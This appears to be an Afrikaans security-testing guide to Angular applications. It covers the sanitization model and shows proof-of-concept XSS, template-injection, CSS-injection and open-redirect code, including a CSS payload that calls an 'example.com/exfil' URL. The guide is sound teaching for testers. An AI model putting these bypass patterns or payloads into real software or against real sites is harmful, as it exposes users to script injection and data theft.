Angular

Reading time: 19 minutes

Die Kontrolelys

Kontrolelys van hier.

  • Angular word beskou as 'n kliënt-kant raamwerk en word nie verwag om bediener-kant beskerming te bied nie
  • Sourcemap vir skrifte is gedeaktiveer in die projekkonfigurasie
  • Onbetroubare gebruikersinvoer word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
  • Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie
  • Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word
  • BypassSecurity* metodes word nie gebruik met onbetroubare invoer nie
  • Onbetroubare gebruikersinvoer word nie aan Angular klasse soos ElementRef, Renderer2 en Document, of ander JQuery/DOM sinks oorgedra nie

Wat is Angular

Angular is 'n kragtige en oopbron front-end raamwerk wat deur Google onderhou word. Dit gebruik TypeScript om kode leesbaarheid en foutopsporing te verbeter. Met sterk sekuriteitsmeganismes voorkom Angular algemene kliënt-kant kwesbaarhede soos XSS en oop omleidings. Dit kan ook aan die bediener-kant gebruik word, wat sekuriteitsoorwegings belangrik maak van albei kante.

Raamwerk argitektuur

Om die basiese beginsels van Angular beter te verstaan, laat ons deur sy essensiële konsepte gaan.

Gewone Angular projek lyk gewoonlik soos:

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (AppComponent) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die @Component() dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die AppComponent is gedefinieer in die app.component.ts lêer.

Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem AppModule, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die AppModule is gedefinieer in die app.module.ts lêer.

Die Angular Router NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die RouterModule is gedefinieer in die app-routing.module.ts lêer.

Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat jy oor komponente wil deel, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik voorafgegaan deur die @Injectable() dekorator. Die dekorator verskaf die metadata wat toelaat dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinjeksie (DI) laat jou toe om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener af nie, valideer nie gebruikersinvoer nie, of log nie direk na die konsole nie; hulle delegeer sulke take aan dienste.

Sourcemap konfigurasie

Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die tsconfig.json opsies te volg en bou dan 'n projek met angular.json konfigurasie. Kyk na die angular.json lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat vir skrifte geaktiveer is en nie standaard versteek is nie:

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalyse deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone.

Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaiers ontwikkelaarstoestelle gevind word → Sources (of Debugger en Sources) → [id].main.js. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat //# sourceMappingURL=[id].main.js.map of dit mag nie wees nie, as die hidden opsie op true gestel is. Nietemin, as die sourcemap vir scripts gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos ng build --source-map.

Data binding

Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente gedeel word deur die Service-funksie.

Ons kan binding klassifiseer volgens datastroom:

  • Datasoort na weergawe teiken (sluit interpolasie, eienskappe, attribuut, klasse en styl in); kan toegepas word deur [] of {{}} in die sjabloon te gebruik;
  • Weergawe teiken na datasoort (sluit gebeurtenisse in); kan toegepas word deur () in die sjabloon te gebruik;
  • Twee-rigting; kan toegepas word deur [()] in die sjabloon te gebruik.

Binding kan op eienskappe, gebeurtenisse en attribuut, sowel as op enige publieke lid van 'n bronrigting genoem word:

TipeTeikenVoorbeelde
EiendomElement eiendom, Komponent eiendom, Rigting eiendom<img [alt]="hero.name" [src]="heroImageUrl">
GebeurtenisElement gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis<button type="button" (click)="onSave()">Save
Twee-rigtingGebeurtenis en eiendom<input [(ngModel)]="name">
AttribuutAttribuut (die uitsondering)<button type="button" [attr.aria-label]="help">help
Klasklas eiendom<div [class.special]="isSpecial">Special
Stylstyl eiendom<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular sekuriteitsmodel

Angular se ontwerp sluit kodering of sanitisering van alle data standaard in, wat dit al hoe moeiliker maak om XSS kwesbaarhede in Angular projekte te ontdek en te benut. Daar is twee duidelike scenario's vir dataverwerking:

  1. Interpolasie of {{user_input}} - voer konteks-sensitiewe kodering uit en interpreteer gebruikersinvoer as teks;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Resultaat: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Binding aan eienskappe, attribuut, klasse en styl of [attribute]="user_input" - voer sanitisering uit gebaseer op die verskafde sekuriteitskonteks.

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Resultaat: <div><h1>test</h1></div>

Daar is 6 tipes SecurityContext :

  • None;
  • HTML word gebruik, wanneer waarde as HTML geïnterpreteer word;
  • STYLE word gebruik, wanneer CSS aan die style eiendom gebind word;
  • URL word gebruik vir URL eiendomme, soos <a href>;
  • SCRIPT word gebruik vir JavaScript kode;
  • RESOURCE_URL as 'n URL wat as kode gelaai en uitgevoer word, byvoorbeeld, in <script src>.

Kwesbaarhede

Bypass Security Trust metodes

Die Angular stel 'n lys met metodes bekend om sy standaard sanitisering proses te omseil en om aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:

  1. bypassSecurityTrustUrl word gebruik om aan te dui dat die gegewe waarde 'n veilige styl URL is:
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//resultaat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl word gebruik om aan te dui dat die gegewe waarde 'n veilige hulpbron URL is:
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//resultaat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml word gebruik om aan te dui dat die gegewe waarde veilige HTML is. Let daarop dat die invoeging van script elemente in die DOM-boom op hierdie manier nie sal veroorsaak dat hulle die ingeslote JavaScript kode uitvoer nie, as gevolg van hoe hierdie elemente aan die DOM-boom bygevoeg word.
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//resultaat
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag daarvan onvoorspelbaar is, omdat ons nie JS kode in sjablone kon uitvoer nie met hierdie metode.
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//resultaat
-
  1. bypassSecurityTrustStyle word gebruik om aan te dui dat die gegewe waarde veilige CSS is. Die volgende voorbeeld illustreer CSS-inspuiting:
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//resultaat
Request URL: GET example.com/exfil/a

Angular bied 'n sanitize metode aan om data te sanitisere voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met SecurityContext.URL op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS kwesbaarhede.

HTML inspuiting

Hierdie kwesbaarheid ontstaan wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: innerHTML, outerHTML, of iframe srcdoc. Terwyl binding aan hierdie attribuut HTML interpreteer soos dit is, word die invoer gesanitisereer met behulp van SecurityContext.HTML. Dus, HTML inspuiting is moontlik, maar kruis-web scripting (XSS) is nie.

Voorbeeld van die gebruik van innerHTML:

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Die resultaat is <div><h1>test</h1></div>.

Sjabloon inspuiting

Kliënt-kant Rendering (CSR)

Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings vir Angular om binne dubbele krulhakies ({{}}) te evalueer. Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos {{1+1}} sou as 2 vertoon.

Tipies, Angular ontsnap gebruikersinvoer wat met sjabloonuitdrukkings verwar kan word (bv., karakters soos `< > ' " ``). Dit beteken dat bykomende stappe benodig word om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon inspuiting aanval soos volg voorkom:

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Soos hierbo getoon: constructor verwys na die omvang van die Object constructor eienskap, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.

Server-Side Rendering (SSR)

In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ondanks hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier as in CSR opgespoor word, omdat die gebruikte sjabloontaal dieselfde is.

Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.

XSS

DOM interfaces

Soos voorheen vermeld, kan ons die DOM direk benader deur die Document interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.

Ons het die document.write() en document.createElement() metodes in die voorbeelde hieronder gebruik:

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular klasse

Daar is 'n paar klasse wat gebruik kan word om met DOM-elemente in Angular te werk: ElementRef, Renderer2, Location en Document. 'n Gedetailleerde beskrywing van die laaste twee klasse word in die Open redirects afdeling gegee. Die hoofverskil tussen die eerste twee is dat die Renderer2 API 'n laag van abstraksie tussen die DOM-element en die komponentkode bied, terwyl ElementRef net 'n verwysing na die element hou. Daarom, volgens Angular-dokumentasie, moet die ElementRef API slegs as 'n laaste uitweg gebruik word wanneer direkte toegang tot die DOM benodig word.

  • ElementRef bevat die eienskap nativeElement, wat gebruik kan word om die DOM-elemente te manipuleer. Onbehoorlike gebruik van nativeElement kan egter lei tot 'n XSS-inspuitingskwesbaarheid, soos hieronder getoon:
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Ten spyte van die feit dat Renderer2 'n API bied wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds 'n paar sekuriteitsfoute. Met Renderer2 is dit moontlik om eienskappe op 'n HTML-element in te stel met die setAttribute() metode, wat geen XSS voorkoming meganismes het nie.
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Om die eienskap van 'n DOM-element in te stel, kan jy die Renderer2.setProperty() metode gebruik en 'n XSS-aanval ontketen:
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Tydens ons navorsing het ons ook die gedrag van ander Renderer2 metodes, soos setStyle(), createComment(), en setValue(), in verband met XSS en CSS inspuitings ondersoek. Ons kon egter nie enige geldige aanvalsvectors vir hierdie metodes vind nie weens hul funksionele beperkings.

jQuery

jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan hierdie biblioteek se metodes egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery metodes in Angular projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.

  • Die html() metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Deur ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van <script> etikette of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Die jQuery.parseHTML() metode gebruik inheemse metodes om die string na 'n stel DOM-knope om te skakel, wat dan in die dokument ingevoeg kan word.
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

Soos voorheen genoem, sal die meeste jQuery API's wat HTML-string aanvaar, skripte wat in die HTML ingesluit is, uitvoer. Die jQuery.parseHTML() metode voer nie skripte in die geparseerde HTML uit nie, tensy keepScripts eksplisiet true is. Dit is egter steeds moontlik in die meeste omgewings om skripte indirek uit te voer; byvoorbeeld, via die <img onerror> eienskap.

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM interfaces

Volgens die W3C-dokumentasie word die window.location en document.location objek as aliase in moderne blaaiers behandel. Dit is waarom hulle soortgelyke implementasies van sommige metodes en eienskappe het, wat 'n oop omleiding en DOM XSS met javascript:// skema-aanvalle kan veroorsaak soos hieronder genoem.

  • window.location.href(en document.location.href)

Die kanonieke manier om die huidige DOM-lokasie objek te kry, is deur window.location te gebruik. Dit kan ook gebruik word om die blaaier na 'n nuwe bladsy te herlei. As gevolg hiervan, om beheer oor hierdie objek te hê, stel ons in staat om 'n oop omleiding kwesbaarheid te benut.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Die eksploitasiestap is identies vir die volgende scenario's.

  • window.location.assign()(en document.location.assign())

Hierdie metode laat die venster toe om die dokument by die gespesifiseerde URL te laai en weer te gee. As ons beheer oor hierdie metode het, kan dit 'n sink wees vir 'n oop omleiding aanval.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(en document.location.replace())

Hierdie metode vervang die huidige hulpbron met die een by die verskafde URL.

Dit verskil van die assign() metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie na die gebruik van window.location.replace(). Dit is egter ook moontlik om 'n oop omleiding kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Die window.open() metode neem 'n URL en laai die hulpbron wat dit identifiseer in 'n nuwe of bestaande tab of venster. Om beheer oor hierdie metode te hê, kan ook 'n geleentheid wees om 'n XSS of oop omleiding kwesbaarheid te ontketen.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular klasse

  • Volgens Angular-dokumentasie is Angular Document dieselfde as die DOM-dokument, wat beteken dat dit moontlik is om algemene vektore vir die DOM-dokument te gebruik om kliëntkant kwesbaarhede in die Angular te benut. Document.location eienskappe en metodes kan sinke wees vir suksesvolle oop omleiding aanvalle soos in die voorbeeld getoon:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Tydens die navorsingsfase het ons ook die Angular Location klas vir oop omleiding kwesbaarhede hersien, maar geen geldige vektore is gevind nie. Location is 'n Angular diens wat toepassings kan gebruik om met 'n blaaiers huidige URL te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - go(), replaceState(), en prepareExternalUrl(). Ons kan egter nie hulle gebruik vir herleiding na die eksterne domein nie. Byvoorbeeld:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Resultaat: http://localhost:4200/http://google.com/about

  • Die Angular Router klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg nie enige addisionele kwesbaarhede by die toepassing nie:
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Resultaat: http://localhost:4200/https:

Die volgende metodes navigeer ook binne die domein se omvang:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Verwysings